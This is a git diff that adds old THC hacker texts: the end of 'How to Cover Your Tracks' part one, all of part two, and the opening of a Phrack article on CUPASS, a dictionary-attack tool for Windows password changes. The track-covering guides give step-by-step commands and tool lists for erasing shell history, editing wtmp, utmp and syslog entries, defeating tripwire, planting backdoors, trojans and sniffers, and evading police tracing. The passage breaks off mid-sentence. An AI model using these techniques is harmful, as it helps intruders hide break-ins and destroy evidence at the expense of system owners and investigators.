words: do an "ls -altr" before you leave! + + Here're 4 csh commands which will delete the .history when you log + out, without any trace. + mv .logout save.1 + echo rm .history>.logout + echo rm .logout>>.logout + echo mv save.1 .logout>>.logout + + + + * 6. THINGS YOU SHOULD AVOID * + Don't crack passwords on an other machine than your own, and then + only on a crypted partition. If you crack them on a e.g. university + and the root sees your process and examines it not only your hacking + account is history but also the site from which the password file is + and the university will keep all eyes open to watch out for you. + Download/grab the passwd data and crack them on a second computer or + in a background process. You don't need many cracked accounts, only a few. + + If you run important programs like ypx, iss, satan or exploiting + programs then rename them before executing or use the small common + source to exchange the executed filename in the process list ... ever + security conscious user (and of course admin) knows what's going on + if he sees 5 ypx programs running in the background ... + And of course if possible don't enter parameters on the command line + if the program supports an interactive mode, like telnet. + Type "telnet" and then "open target.host.com" ... which won't show + the target host in the process list as parameter. + + If you hacked a system - don't put a suid shell somewhere! + Better try to install some backdoors like ping, quota or login and + use fix to correct the atime and mtime of the file if you don't + have got another possiblity. + + + + + + + IV. ADVANCED + ---------------------------------------------------------------------- + + CONTENTS : 1. Preface + 2. Prevent Tracing of any kind + 3. Find and manipulate any log files + 4. Check the syslog configuration and logfile + 5. Check for installed security programs + 6. Check the admins + 7. How to "correct" checksum checking software + 8. User Security Tricks + 9. Miscellaneous + + + * 1. PREFACE * + Once you installed your first sniffer and begin to hack worldwide + then you should know and use these checks & techniques! + Use the tips presented here - otherwise your activity will be over soon. + + + * 2. PREVENT TRACING OF ANY KIND * + Sometimes your hacking will be noticed. Thats not a real problem - + some of your sites will be down but who cares, there are enough + out there to overtake. The *very* dangerous thing is when they try + to trace you back to your origin - to deal with you - bust you! + + This short chapter will tell you every possiblity THEY have to trace + you and what possibilities YOU have to prevent that. + + * Normally it should be *no* problem for the Admin to identify the + system the hacker is coming from by either : checking the log entries + if the hacker was really lame, taking a look at the sniffer output + the hacker installed and he's in too, any other audit software like + loginlog, or even show all estrablished connections with "netstat" + if the hacker is currently online - expect that they'll find out! + Thats why you *need* a gateway server. + + * A gateway server in between - what is it? + Thats one of many many servers you have accounts on, which are + absolutely boring systems and you have got root access on. + You need the root access to alter the wtmp and lastlog files + plus maybe some audit logs do nothing else on these machines! + You should change the gateway servers on a regular basis, say + every 1-2 weeks, and don't use them again for at least a month. + With this behaviour it's unlikely that they will trace you back + to your next point of origin : the hacking server + + * Your Hacking Server - basis of all activity + From these server you do begin hacking. Telnet (or better : remsh/rsh) + to a gateway machine and then to the target. + You need again root access to change the logs. + You should change your hacking server every 2-4 weeks. + + * Your Bastian/Dialup server. + This is the critical point. Once they can trace you back to your + dialup machine you are already fried. A call to the police, a line + trace and your computer hacking activity is history - and maybe + the rest of your future too. + You *don't* need root access on a bastion host. Since you only + connect to it via modem there are no logs which must be changed. + You should use a different account to log on the system every day, + and try to use those which are seldom used. + Don't modify the system in any way! + You should've got at least 2 bastion host systems you can dialup + to and switch between them every 1-2 month. + + Note: If you have got the possiblity to dialup different systems + every day (f.e. due blueboxing) then do so. you don't need + a hacking server then. + + * Do bluebox/card your call or use an outdial or any other way. + So even when they capture back your bastion host, they can't + trace you (easily) ... + For blueboxing you must be cautious, because germany and the phone + companies in the USA do have surveillance systems to detect + blueboxers ... At&t traces fake cred card users etc. + Using a system in between to transfer your call does on the one side + make tracine more difficult - but also exposes you to the rish being + caught for using a pbx etc. It's up to you. + Note too that in f.e. Denmark all - ALL - calling data is saved! + Even 10 years after your call they can prove that *you* logged on + the dialup system which was used by a hacker ... + + - Miscellaneous + If you want to run satan, iss, ypx, nfs filehandle guessing etc. + then use a special server for this. don't use it to actually + telnet/rlogin etc. to a target system, only use it for scanning. + Connect to it as if it were a gateway server. + + Tools are out there which binds to a specific port, and when a + connection is established to this port, it's automatically opening + a connection to another server some other just act like a shell on the + system, so you do a "telnet" from this socket daemon too. + With such a program running you won't be written in any log except + firewall logs. There are numerous programs out there which do that + stuff for you. + + If possible, the hacking server and/or the gateway machine should + be located in a foreign country! + Because if your breakin (attempt) was detected and your origin host + identified then most admins will tend to give up to hunt after you. + Even if the feds try to trace you through different countries it + will delay them by at least 2-10 weeks ... + + # Conclusion : If you hack other stuff than univerisities then + do it this way! Here is a small picture to help you ;-) + + +-------+ ~---------------> +-------------+ +-----------+ + |+-----+| >hopefully > |one of at | |one of many| + || YOU || --> >a trace-safe > --> |least 3 | --> |hacking | + |+-----+| >dial possiblity> |bastion hosts| |server | + +-------+ ~---------------> +-------------+ +-----------+ + | + | + v + +-----------------+ +--------+ +-----------+ + |maybe additional | | the | |one hacked | + |server from | ... <-- ... | main | <-- |server as | + |internal network | | target | |gateway | + +-----------------+ +--------+ +-----------+ + + + + * 3. FIND AND MANIPULATE ANY LOG FILES * + It's important that you find all logfiles - even the hidden ones. + To find any kind of logfiles there are two easy possibilities : + 1) Find all open files. + Since all logfiles must write somewhere, get the cute program + LSOF - LiSt Open Files - to see them ... check them ... and + if necessary correct them. + 2) Search for all files changed after your login. + After your login do a "touch /tmp/check" then work on. + Later just do a "find / -newer /tmp/check -print" and check them + if any of those are audit files. see>check>correct. + Note that not all versions of find support the -newer option + You can also do a "find / -ctime 0 -print" or "find / -cmin 0 -print" + to find them. + + Check all logfiles you find. Normally they are in /usr/adm, /var/adm or + /var/log. + If things are logged to @loghost then you are in trouble. You need + to hack the loghost machine to modify the logs there too ... + + To manipulate the logs you can either do things like "grep -v", + or do a linecount with wc, and then cut off the last 10 lines with + "head -LineNumbersMinus10", or use an editor etc. + If the log/audit files are not textfiles but datarecords ... identify + the software which writes the logfiles. Then get the sourcecode. Then + find the matching header file which defines the structure of the file. + Get zap, clear, cloak etc. and rewrite it with the header file to use + with this special kind of logfile (and it would be kind to publish your + new program to the hacker society to safe others much work) + + If accouting is installed then you can use the acct-cleaner from zhart, + also in this release - it works and is great! + + A small gimmick if you must modify wtmp but can't compile a source and + no perl etc. is installed (worked on SCO but not on linux) : + Do a uuencode of wtmp. Run vi, scroll down to the end of the file, and + and delete the last 4 (!) lines beginning with "M" ... then save+exit, + uudecode. Then the last 5 wtmp entries are deleted ;-) + + If the system uses wtmpx and utmpx as well you are in trouble ... + I don't know any cleaner so far who can handle them. + Program one and make it available for the scene. + + + + * 4. CHECK THE SYSLOG CONFIGURATION AND LOG * + Most programs use the syslog function to log anything they want. + It's important to check the configuration where syslog does print + special types. + The config file is /etc/syslog.conf - and I won't tell you here what + the format is and what each entry means. Read the manpages about it. + Important for you are kern.*, auth.* and authpriv.* types. + Look where they are written too: files can be modified. If forwarded + to other hosts you must hack those too. If messages are sent to a user, + tty and/or console you can do a small trick and generate false log + messages like "echo 17:04 12-05-85 kernel sendmail[243]: can't resolve + bla.bla.com > /dev/console" or whichever device you want to flood so + that the message you want to hide simply scrolls over the screen. + These log files are *very* important! Check them. + + + * 5. CHECK FOR INSTALLED SECURITY PROGRAMS + On most security conscious sites, there are security checkers run by + cron. The normal directory for the crontabs are /var/spool/cron/crontabs. + Check out all entries, especially the "root" file and examine the files + they run. For just a fast investigation of the crontabs of root type + "crontab -l root". + + Some of those security tools are most time also installed on the admins' + accounts. Some of them (small utils to check wtmp, and if a sniffer is + installed) are in their ~/bin. + Read below to identify those admins and check their directories. + + Internal checking software can be tiger, cops, spi, tripwire, l5, + binaudit, hobgoblin, s3 etc. + + You must examine them what they report and *if* they would report + something that would be a sign of your breakin. + If yes you can - update the data files of the checker (learn mode) + so that it won't report that type anymore + - reprogram/modify the software so that they don't report + it anymore. (I *love* fake cpm programs ;-) + - if possible remove the e.g. backdoor you installed + and try to do it in another way. + + + + * 6. CHECK THE ADMINS * + It is important for you to check the sysops for the security counter- + measures they do - so first you need to know which normal accounts are + they use. + You can check the .forward file of root and the alias entry of root. + Take a look into the sulog and note those people who did a successful + su to root. Grab the group file and examine the wheel and admin group + (and whatever other group are in this file which are related to + administration). Also grep'ing the passwd file for "admin" will reveile + the administrators. + Now you should know who the 1-6 administrators on the machines are. + Change into their directories (use chid.c, changeid.c or similar to + become the user if root is not allowed to read every file) and check + their .history/.sh_history/.bash_history to see what commands they type + usually. Check their .profile/.login/.bash_profile files to see what + aliases are set and if auto-security checks or logging are done. + Examine their ~/bin directory! Most times compiled security checking + programs are put there! And of course take a look into each directory + they've got beside that (ls -alR ~/). + If you find any security related stuff, read 5.) for possibilities to + bypass those protections. + + + + * 7. HOW TO "CORRECT" CHECKSUM CHECKING SOFTWARE * + Some admins really fear hacker and install software to detect changes + of their valuable binaries. If one binary is tampered with, next time + the admin does a binary check, it's detected. + So how can you a) find out if such binary checkers are installed + and b) how to modify them so you can plant in your trojan horse? + + Note that there are many binary checker out there and it's really easy + to write one - takes only 15 minutes - and can be done with a small + script. So it's hard to find such software if it's installed. + Note that internal security checking software sometimes also support such + checking. Here are some widely used ones : + + SOFTWARE : STANDARD PATH : BINARY FILENAMES + tripwire : /usr/adm/tcheck, /usr/local/adm/tcheck : databases, tripwire + binaudit : /usr/local/adm/audit : auditscan + hobgoblin : ~user/bin : hobgoblin + raudit : ~user/bin : raudit.pl + l5 : compile directory : l5 + + But as you can see there are too much possibilities! The software or + database could even be on an normally unmounted disk or NFS exported + partition of another host. Or the checksum database is on a write + protected medium. There are too much possibilities. But normally you can + just do the fast check if the above packages are installed and if not + go on exchanging binaries. If you *don't* find them but it actually *is* + a very well secured site then you should NOT tamper with the binaries! + They sure have got them hidden very well. + + But what do you do when you find that software installed and you can + modify them (e.g. not a write protected medium, or something that can + be bypasswd - for example unmounting the disk and remounting writable)? + You've got 2 possibilities : + First you can just check the parameters of the software and run an + "update" on the modified binary. For example for tripwire that's + "tripwire -update /bin/target". + Seconds you can modify the filelist of the binaries being checked - + removing the entry of the replaced one. + Note that you should also check if the database file itself is checked + too for changes! If yes - update/delete the entry as well. + + + + * 8. USER SECURITY TRICKS * + This is a rare thing and is only for sake of completeness. + Some users, named admins and hackers, usually don't want their own + accounts to be used by someone else. That's why they sometimes put + some security features into their startup files. + So check all dotfiles (.profile, .cshrc, .login, .logout etc.) + what commands they execute, what history logging and which searchpath + they set. If f.e. $HOME/bin comes before /bin in the search path you + should check the contents of this directory ... maybe there's a program + called "ls" or "w" installed which logs the execution time and after + that executing the real program. + Other check automatically the wtmp and lastlog files for zap usage, + manipulation of .rhosts, .Xauthority files, active sniffers etc. + Never mess with an account a unix wizard is using! + + + + * 9. MISCELLANEOUS * + Finally, before some last words about being under suspect or caught, + here are some miscellaneous things which a worth to take a notice off. + + Old telnet clients do export the USER variable. An administrator who + knows that and modified the telnetd can get all user names with that + and so identify the account you are hacking from, once he notices you. + The new clients have been fixed - but a clever admin has got other + possiblities to identify the user : the UID, MAIL and HOME variables + are still exported and makes identifying of the account used by the + hacker easy. Before you do a telnet, change the USER, UID, MAIL and + HOME variable, maybe even the PWD variable if you are in the home + directory. + + On HP-UX < v10 you can make hidden directories. I'm not talking about + . (dot) files or similar but a special flag. HP introduced it v9, but + was removed from version 10 (because it was only used by hackers ;-). + If you do a "chmod +H directory" it's invisible for the "ls -al". + To see the hidden directories you need to add the -H switch to ls, e.g. + "ls -alH" to see everything. + + Whenever you are in need to change the date of a file, remember that + you can use the "touch" command to set the atime and mtime. + You can set the ctime only by raw writes to the harddisk ... + + If you install sniffer and it's an important system, then make sure + that you either obfusicate the sniffer output (with an encryption + algorythm [and i'm not talking about rot13] or let the sniffer send + all the captured data via icmp or udp to an external host under your + control. Why that? If the admin finds somehow the sniffer (cpm and + other software checking for sniffers) they can't identify in the + logfile what data was sniffed, so he can't warn hosts sniffed by you. + + + + + V. UNDER SUSPECT + ---------------------------------------------------------------------- + + Once you are under suspect (by either police and/or administrator) you + should take special actions so they won't get evidence on you. + + NOTE : If the administrators think you are a hacker, + YOU ARE GUILTY UNTIL PROVEN INNOCENT + + The laws means nothing to the admins (sometimes I think the difference + between a hacker and an administrator is only that the computer belongs + to them). When they think you are a hacker you are guilty, without a + lawyer to speak for you. They'll monitor you, your mails, files, and, + if they are good enough, your keystrokes as well. + + When the feds are involved, you phone line might be monitored too, + and a raid might come soon. + + If you notice or fear that you are under suspect then keep absolutely + low profile! No offensive action which points to hacking should be done. + + Best thing is to wait at least 1-2 month and do nothing. + Warn your friends not to send you any email, public normal only, + non-offensive mail is wonderful, put pgp encrypted emails will ring the + alarm bells of monitoring admins and feds. Cut down with everything, + write some texts or program tools for the scene and wait until things + have settled. Remember to encrypt all your sensitive data and remove + all papers with account data, phone numbers etc. Thats the most + important stuff the feds are looking for when they raid you. + + + + VI. CAUGHT + ---------------------------------------------------------------------- + + Note that this small chapter covers only the ethics and basics and + hasn't got any references to current laws - because they are different + for every country. + + Now we talking about the stuff you should/shouldn't do once the feds + visited you. There are two *very* important things you have to do : + 1) GET A LAWYER IMMEDEANTELY ! + The lawyer should phone the judge and appeal against the search + warrant. This doesn't help much but may hinder them in their work. + The lawyer should tell you everything you need to know what the + feds are allowed to do and what not. + The lawyer should write a letter to the district attorney and/or + police to request the computers back as fast as possible because + they are urgently needed to do business etc. + As you can see it is very useful to have got a lawyer already + by hand instead of searching for one after the raid. + 2) NEVER TALK TO THE COPS ! + The feds can't promise you anything. If they tell you, you'll get + away if you talk, don't trust them! Only the district attorney + has got the power to do this. The cops just want to get all + information possible. So if you tell them anything they'll have + got more information from and against you. + You should *always* refuse to give evidence - tell them that you + will only talk with them via your lawyer. + + Then you should make a plan with your lawyer how to get you out of this + shit and reduce the damage. + But please keep in mind : don't betray your friends. Don't tell them + any secrets. Don't blow up the scene. + If you do, that's a boomerang : the guys & scene will be very angry + and do revenge, and those guys who'll be caught because of your + evidence will also talk ... and give the cops more information about + *your* crimes! + + Note also that once you are caught you get blamed for everything which + happened on that site. If you (or your lawyer) can show them that they + don't have got evidences against you for all those cases they might + have trouble to keep the picture of that "evil hacker" they'll try to + paint about you at the court. If you can even prove that you couldn't + do some of the crimes they accuse you for then your chances are even + better. When the judge sees that false accuses are made he'll suspect + that there could be more false ones and will become distrusted against + the bad prepared charges against you. + + I get often asked if the feds/judge can force you to give up your + passwords for PGP, encrypted files and/or harddisks. + That's different for every country. Check out if they could force you + to open your locked safe. + If that's the case you should hide the fact that you are crypting your + data! Talk with your lawyer if it's better for you to stand against + the direction to give out the password - maybe they'd get evidences + which could you get into jail for many years. + + (For german guys : THC-MAG #4 will have got an article about the german + law, as far as it concerns hacking and phreaking - that article will + be of course checked by a lawyer to be correct. Note that #4 will only + discuss germany and hence will be in the german language. + But non-germans, keep ya head up, this will be the first and last german + only magazine release ;-) + + + + + VII. PROGRAMS + ---------------------------------------------------------------------- + + Here is a small list of programs you should get and use (the best!). + DON'T email me where to get them from - ask around in the scene! + I only present here the best log modifiers (see III-4 and IV-3). + Other programs which are for interest are telnet redirectors (see IV-2) + but there are so many, and most compile only on 1-3 unix types so there's + no use to make a list. + + First a small glossary of terms : + Change - Changes fields of the logfile to anything you want + Delete - Deletes, cuts out the entries you want + Edit - real Editor for the logfile + Overwrite - just Overwrites the entries with zero-value bytes. + Don't use such software (f.e. zap) - it can be detected! + + LOG MODIFIER + ah-1_0b.tar Changes the entries of accounting information + clear.c Deletes entries in utmp, wtmp, lastlog and wtmpx + cloak2.c Changes the entries in utmp, wtmp and lastlog + invisible.c Overwrites utmp, wtmp and lastlog with predefines values, so + it's better than zap. Watch out, there are numerous inv*.c ! + marryv11.c Edit utmp, wtmp, lastlog and accounting data - best! + wzap.c Deletes entries in wtmp + wtmped.c Deletes entries in wtmp + zap.c Overwrites utmp, wtmp, lastlog - Don't use! Can be detected! + + + + + VIII. LAST WORDS + ---------------------------------------------------------------------- + + Last fucking words: + Don't get caught, remember these tips and keep your ears dry. + If someone would like to correct some points, or would like to + add a comment, or needs more information on a topic or even thinks + something's missing - then drop me a note. + + + van Hauser + + + +Type Bits/KeyID Date User ID +pub 1024/3B188C7D 1995/10/10 van Hauser/THC of LORE BBS + +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: 2.6.3i + +mQCNAzB6PNQAAAEEALx5p2jI/2rNF9tYandxctI6jP+ZJUcGPTs7QTFtF2c+zK9H +ElFfvsC0QkaaUJjyTq7TyII18Na1IuGj2duIHTtG1DTDOnbnZzIRsXndfjCIz5p+ +Dt6UYhotbJhCQKkxuIT5F8EZpLTAL88WqaMZJ155uvSTb9uk58pv3AI7GIx9AAUT +tBp2YW4gSGF1c2VyL1RIQyBvZiBMT1JFIEJCU4kAlQMFEDJ2gzNAf3b9d/IP1QEB +5DwD+gJRh6m4h0fVgpQJkOiuQD68lV5w8C0F5R3jk/o6Pollaf7gtVhG8BGGo5/7 +/yiH40gujc82rJdmihwcKuZQtwt8X28VN8uy56SCpXD5wjjOZpq0t0qSXmhgunZ0 +m7xv7R4mWRzFclsgQCMwXNgp4sXgw64bVm8FhEdkrVSO8iTyiQCVAwUQMkMhCspv +3AI7GIx9AQFstAP+Jrg7V06FGV/sTzegFNoaSyOItkvXjctzFsXuBfta2M7EzPX3 +UR3kM4/W4xE70H4XmMOJ9RmTzs+MuhSq8BtGQtYaJqGjxe/ldbvGOXRxR1rBJAKS +yDQYu0VJ/Ae8yuJcMS312jqwg8OLgYnQaqEoaRM4HEiB+hgDRqnFKpDxkhSJAJUD +BRAyQx8E5y7IvlL6xvEBAQ+bA/9baK7f3M9F5n4aASy04WHOreUNpGQ8DXgtMVq7 +KVdXMIWjURsboR+wt5eJTPeL00lHS5eqmZlNzGV9hWtzAr20qrKLmvE20Ke4VPB0 +a/tWXNUdvLnk4ENbTBFfMMdnlDo3hSThSMQ7yZ9UEYgighKu6l2fG5UG6D+kXFLy +iIvvlA== +=nX2w +-----END PGP PUBLIC KEY BLOCK----- + + ------------------------------------------------------------------------------ + \ No newline at end of file diff --git a/Papers/cover-2.txt b/Papers/cover-2.txt new file mode 100644 index 0000000..d587376 --- /dev/null +++ b/Papers/cover-2.txt @@ -0,0 +1,219 @@ + ------------------------------------------------------------------------------ + + + + ################################################ + # # + # HOW TO COVER YOUR TRACKS # + # # + ################################################ + + + + + PART TWO : PRACTICE + + + + + + + + + + + + I. THE FIRST COMMAND + + The first command you should enter after logging in with a hacked account + is a shell different from the one you are currently running as login shell. + The purpose is to disable history saving of the commands you'll type in + while hacking. A history check by the real user or sysadmin reveils your + presence and what you did!! + If you are running a CSH then execute a SH and vice versa. + +$ <- this is a SH prompt +% <- this is a CSH prompt + + If it does not look like the standard prompts above then execute SH. + If the prompt stays the same, type "exit" and execute the CSH ... + The reason for using these two shells and not bash, ksh, zsh etc. is + that these two are simple with no extra options enabled by default + (like history saving). + + + II. LASTLOG WORKAROUND + + If you saw a text like "Last successful login from alpha.master.mil" + when you logged on with the hacked account and you can't hack root or + don't want to disrupt the system logs with deleting data then execute + the following : "rlogin " and provide again the + password of the hacked account if necessary. After seeing the shell + prompt type exit to be back again. This will change the header + "Last login from ..." etc. to the or "localhost" + which is much more unsuspicious than "site.real.user.never.saw.com" + Of course you only need to do this if your origin host might attract + attention to user and/or sysadmin. + + + III. WHO WORKAROUND + + After completing step 1 + 2 type "w" ... you'll see all currently + online users ... with the adress they logged on from. Once again + something like your origin host in the netherlands will be very + suspicious to users and/or root if the site is in the usa. + If you can't hack root or once again don't want to tamper with the + log files you can try a bug which works still for many up2date + unix distributions: just execute "login" with the same login+password. + Type "w" again and if it worked, your origin will be changed to + something like "tty05". + Of course you only need to do this if your origin host might attract + attention by other users and/or sysadmin. + + + V. EXECUTING PROGRAMS + + Don't execute programs with suspicous names ... ISS and YPX are for + example very suspicous, and a skilled admin knows what's going on if + he sees a user running "loadmodule SandraBullok" on his Sun ... ;-) + Either you copy & rename the commands or you use those sources around + which exchanges the command name in the process list. + Btw. the process list can be checked by "ps -ef" or "ps -auxwww" and + the current command every user is executing with "w" and the most CPU + consuming processes with "top" ... so it's really easy to monitor + the programs the user(s) are running. + + + VI. EXECUTING TELNET + + There are only two things which should be said about about using telnet + for hacking purpose (e.g. doing a telnet to the next target). + First NEVER just type "telnet target.host.com". Type "telnet" and then + "open target.host.com" which will not show up as parameter in the process + list. The seconds is that some telnet clients do export enviroment + variables. And if your hack is detected and they could trace the + connection back to your origin host they could also have got the account + you used on the origin host. So redefine (to anything you want) the + following environement variables before starting telnet, rlogin or similar: + USER, LOGNAME, UID, HOME, MAIL - maybe you should do a "cd /tmp" too + to change the PWD variable too ... + To change those variables -> + SH : =;export + example : USER=nobody;export USER + CSH: setenv + example : setenv USER nobody + + and don't forget to reset the variables after your telnet if you want to + do something with the account before you log out. + + + VII. REMOVE YOUR FILES + + When you tried exploits - successful or not - delete them immedeantely + after trying them - especially if you try them in /tmp ! + Nothing is more interesting than snooping in the /tmp directory to see + what other users are doing ... If you really need to work in the temp + directory (because suid is squashed in your home dir) then create a + usual directory like ".X11", and give it 711 permissions. + Remember, if someone snoops in the directories while you are hacking or + your loose connection and can't relogin or you forget about them you + are in deep trouble. + + + --> ! The following 2 points are only possible with root access ! <-- + + + VI. MODIFYING THE LOGS + + The important log files are LASTLOG, WTMP and UTMP. + If you were successful in hacking root then you should modify them. + They can usually be found in /etc, /var/adm or /var/log ... it differs, + just check the man pages. + Which tools should you use? ZAP (or ZAP2) is nice, but it does NOT delete + you from the logs but overwrite the entries with zeros. CERT already + published tools which easily check the logs for those overwritten entries. + And nothing shouts more "Hey there's a hacker on the system with root + access!" into the sysadmin's face than that. + Important for ZAP : Check the paths defined in the sources for the logs! + Try CLOAK2 which can change the data of the important data fields ;) But + it doesn't compile on all unix OS types. + You can also try CLEAR, included in this magazine, which REALLY deletes + the entries ... ;) + + + VII. SYSLOG & LASTCOMM + + You should also check the syslog messages logfile if maybe entries with + your hacked account or your origin host are in it. It's usually located + in /var/adm or /var/log ... most time it's called "messages" but again + can differ - and also check other logfiles there which are generated by + auth.* and authpriv.* messages (and of course xferlog etc.). + Check the file /etc/syslog.conf to see the correct file and check out what + is logged to which file/program/mail/user. + If you see something like "@loghost" and you find your origin host in + the messages file than you've got a problem. It's also logged at another + site which is most time not accessible from remote. But try to install + a sniffer, (see section VIII. !) and check if a root does a successful + login to the loghost - and then you've got also the password for that + host and are in to handle the problem ;) + To remove f.e. your hostname from the "messages" logfile execute : + "grep -v evil.host.com messages > /tmp/tmpfile; mv /tmp/tmpfile messages" + + LASTCOMM (from accton etc.) is a tool to log all executed commands, with + a flag if the file executed had the SUID flag set and if a command was + executed by root. You can find this logfile in the same directory as the + syslog file. That's a really evil tool against hackers but - luck! - + most times it is not installed. But now you don't have to fear that + anymore :) Get Zhart's excellent ACCT Cleaner and feel the freedom ;-) + + + VIII. INSTALLING TROJANS + + When you install a sniffer, remember that anyone can execute "ifconfig -a" + to check if the card is in promiscious mode. Get a rootkit for your unix + OS and replace it. Run fixer.c on it for the correct checksum and date/time + but check the root account first if maybe tripwire or other binary checker + are installed! Remember this for every binary you replace. If the binary + is in a directory which is NFS mounted and can't be remounted in write mode + then you must first hack the NFS host - life isn't easy sometimes ;) + + + + X. THE END + + I hope you had fun and learned alot from these two textfiles, the + theory/background and the practice one. + For updates, tips, tricks etc. just email me at -> mc@thc.net + Remember : Never get lazy. Every work must be done 100% - + or face the consequences! + + + van Hauser + + + +Type Bits/KeyID Date User ID +pub 1024/3B188C7D 1995/10/10 van Hauser/THC of LORE BBS + +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: 2.6.3i + +mQCNAzB6PNQAAAEEALx5p2jI/2rNF9tYandxctI6jP+ZJUcGPTs7QTFtF2c+zK9H +ElFfvsC0QkaaUJjyTq7TyII18Na1IuGj2duIHTtG1DTDOnbnZzIRsXndfjCIz5p+ +Dt6UYhotbJhCQKkxuIT5F8EZpLTAL88WqaMZJ155uvSTb9uk58pv3AI7GIx9AAUT +tBp2YW4gSGF1c2VyL1RIQyBvZiBMT1JFIEJCU4kAlQMFEDJ2gzNAf3b9d/IP1QEB +5DwD+gJRh6m4h0fVgpQJkOiuQD68lV5w8C0F5R3jk/o6Pollaf7gtVhG8BGGo5/7 +/yiH40gujc82rJdmihwcKuZQtwt8X28VN8uy56SCpXD5wjjOZpq0t0qSXmhgunZ0 +m7xv7R4mWRzFclsgQCMwXNgp4sXgw64bVm8FhEdkrVSO8iTyiQCVAwUQMkMhCspv +3AI7GIx9AQFstAP+Jrg7V06FGV/sTzegFNoaSyOItkvXjctzFsXuBfta2M7EzPX3 +UR3kM4/W4xE70H4XmMOJ9RmTzs+MuhSq8BtGQtYaJqGjxe/ldbvGOXRxR1rBJAKS +yDQYu0VJ/Ae8yuJcMS312jqwg8OLgYnQaqEoaRM4HEiB+hgDRqnFKpDxkhSJAJUD +BRAyQx8E5y7IvlL6xvEBAQ+bA/9baK7f3M9F5n4aASy04WHOreUNpGQ8DXgtMVq7 +KVdXMIWjURsboR+wt5eJTPeL00lHS5eqmZlNzGV9hWtzAr20qrKLmvE20Ke4VPB0 +a/tWXNUdvLnk4ENbTBFfMMdnlDo3hSThSMQ7yZ9UEYgighKu6l2fG5UG6D+kXFLy +iIvvlA== +=nX2w +-----END PGP PUBLIC KEY BLOCK----- + + ------------------------------------------------------------------------------ + \ No newline at end of file diff --git a/Papers/cupass.txt b/Papers/cupass.txt new file mode 100644 index 0000000..69d521c --- /dev/null +++ b/Papers/cupass.txt @@ -0,0 +1,808 @@ + + ==Phrack Inc.== + + Volume 0x0b, Issue 0x39, Phile #0x10 of 0x12 + +|=---------=[ CUPASS AND THE NETUSERCHANGEPASSWORD PROBLEM ]=------------=| +|=-----------------------------------------------------------------------=| +|=--------------=[ Doc Holiday / THC ]=----------------=| + + + +----| INTRODUCTION + + + +Microsoft has a known problem in Windows NT 4, that enables an attacker +to change the password of any user under special/default circumstances. + + +The same problem reappeared in Windows 2000 some days ago. The flaw exists +in Microsofts implementation of the NetUserChangePassword function. + + +These facts inspired me to write this article and CUPASS, a simple tool +that starts a dictionary attack against user accounts. + + +In this article I want to discuss all things worth knowing about the +NetUserChangePassword problem. + + +Have fun while reading this article... + + +Doc Holiday /THC + + + + +----| THE PASSWORD CHANGE PROTOCOLS + + +As a little background I will tell you something about the possibilites +to change a password in a Windows NT/W2K environment. + + +Windows 2000 supports several protocols for changing passwords which +are used under different circumstances. + + +These protocols are + + +- NetUserChangePassword protocol (we will call it NUCP) +- NetUserSetInfo protocol +- Kerberos change-password protocol +- Kerberos set-password protocol +- LDAP write-password attribute (presumes 128Bit SSL) +- XACT-SMB protocol (for LAN Manager compatibility) + + +Because there is a flaw in Microsofts implementation of the NUCP protocol, +we will have a deeper look at this one. + + + +----| PROTOCOL ELECTION + + +We can see that there are a lot of protocols for changing passwords in an +Microsoft environment. Now I will show in which cases the NUCP is used: + + +case 1 +------ + + +If a user changes his password by pressing CTRL+ALT+DELETE and pressing the +"Change Password" button, the NUCP protocol is used, if the target is a +domain or the local member server or workstation. + + +If the target is a Kerberos realm, the Kerberos change-password protocol is +used instead of NUCP. + + +case 2 +------ + + +If a change password request is initiated from an Windows NT 3.x or NT 4 +machine, the NUCP and/or NetUserSetInfo protocols are used. + + +case 3 +------ + + +If a program uses the NUCP method on the Active Directory Services +Interface (ADSI), the IaDSUser interface first tries to change the +password with the LDAP protocol, and then by using the NUCP method. + + + + +----| NUCP FUNCTION CALL + + +At this time we know that a lot of ways exist to change a users +password. We also know in which cases NUCP is used. + + +Now we want to have a little look at the function NetUserChangePassword +itself. (More detailed information can be found at Microsoft's SDK!) + + + +Prototype +--------- + + +The prototype of the NetUserChangePassword function is defined in +"lmaccess.h", and looks as follows: + + + +NET_API_STATUS NET_API_FUNCTION +NetUserChangePassword ( + IN LPCWSTR domainname OPTIONAL, + IN LPCWSTR username OPTIONAL, + IN LPCWSTR oldpassword, + IN LPCWSTR newpassword + ); + + + +The parameters are explained consecutively: + + + +Parameters +---------- + + +->domainname + ---------- + + + Pointer to a null-terminated Unicode string that specifies the name of a + remote server or domain. + + +->username + -------- + + + Pointer to a null-terminated Unicode string that specifies a user name. + + +->oldpassword + ----------- + + + Pointer to a null-terminated Unicode string that specifies the user's + old password on the server or domain. + + +->newpassword + ----------- + + + Pointer to a null-terminated Unicode string that specifies the user's new + password on the server or domain. + + + +Return values +------------- + + +The return values are defined in "LMERR.H" and "WINERROR.H". + + +With a deeper look in this files we can see that if the function was executed +with success, the return value is 0 (zero) btw. NERR_Success. + + + +The most important error values are: + + +->ERROR_ACCESS_DENIED (WINERROR.H) + -------------------------------- + + + Access is denied ;) + + + If the target is a NT Server/Domain Controller, and the + option "User Must Log On in Order to Change Password" is enabled, + this error code is the result of CUPASS. The password could + not be guessed :( + + + If the target is a W2K domain controller with AD installed, + and the EVERYONE group is removed from the group + "Pre-Windows 2000 compatible access", than this error code + is an result of NUCP. + + + In some cases this means the right password was guessed by + CUPASS, but could not be changed because of insufficient + permissions on the corresponding AD object. + + + +->ERROR_INVALID_PASSWORD (WINERROR.H) + ----------------------------------- + + + The guessed password (oldpassword) was invalid + + + +->ERROR_ACCOUNT_LOCKED_OUT (WINERROR.H) + ------------------------------------- + + + The account is locked due to many logon tries. + + + +->ERROR_CANT_ACCESS_DOMAIN_INFO (WINERROR.H) + ------------------------------------------ + + + Indicates a Windows NT Server could not be contacted or that + objects within the domain are protected such that necessary + information could not be retrieved. + + + +->NERR_UserNotFound (LMERR.H) + --------------------------- + + + The useraccount could not be found on the given server. + + + +->NERR_NotPrimary (LMERR.H) + ------------------------- + + + The operation is only allowed on the PDC. This appears e.g. if + you try to change passwords on a BDC. + + + +This return values are evaluated by CUPASS. For all others, the numeric +value will be shown, and you can simply have a look at this files for +the meaning of the errorcode. + + + + +MORE DETAILS ON NUCP API CALL +----------------------------- + + +The NUCP function is only available on Windows NT and Windows 2000 +platforms. + + +As part of the LanMan-API the NUCP function is UNICODE only!!! +This makes the programming a little bit harder, but not impossible :) + + +UNICODE on Windows is an topic for itself, and we dont want to talk more +about it here. Have a look at 